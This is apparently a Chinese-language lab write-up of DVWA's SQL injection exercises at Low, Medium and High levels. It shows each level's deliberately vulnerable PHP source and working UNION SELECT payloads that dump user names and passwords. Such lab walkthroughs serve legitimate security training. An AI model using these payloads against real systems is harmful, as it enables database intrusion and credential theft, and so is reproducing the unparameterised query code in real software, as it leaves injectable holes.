SQL Injection:
- sql注入
Low:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //sql语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
可以看出,Low级别的代码对id并没有进行检查和过滤,存在明显的SQL注入
输入一个单引号,查看报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
可以看出,在输入的单引号周围有一对单引号包裹,判断是字符型注入
使用order by判断出有两列
接着使用union select 依次爆出数据库名,表名,字段名,最后爆出全部数据
'+union+select+1,(select+group_concat('<br>',user,'--',password))+from+users+#&Submit=Submit#
Medium:
先看下源代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
//显示值
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
-
mysql_real_escape_string() 函数,转义 SQL 语句中使用的字符串中的特殊字符
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
-
因为使用了特殊字符转义的函数,将引号转义了,所以在输入数据库名和表名的时候,需要将其转为十六进制
-
并且本关的前端也将id的输入改为了下拉框,限制了输入,可以使用抓包来修改参数提交,使用burp的repeater功能
-
由于将’和“符号转义了,所以不可以直接写库名和表名了,需要将库名和表名换为十六进制。
步骤:
-
输入单引号报错,可以判断出是数字型
-
接着使用order by,有两列
-
一步步爆数据
-
id=1 union select database(),group_concat(0x3c62723e,user,password) from users #&Submit=Submit
High:
源代码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //这里添加了LIMIT 1,使得结果只能显示一行
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
- 由于代码中使用了limit,所以查询时也要使用limit对结果输出做限制 ,或者直接将limit注释掉即可,操作过程与前两关相似,
直接最后一步
'+union+select+1,(select+group_concat('<br>',user,'--',password))+from+users+#&Submit=Submit#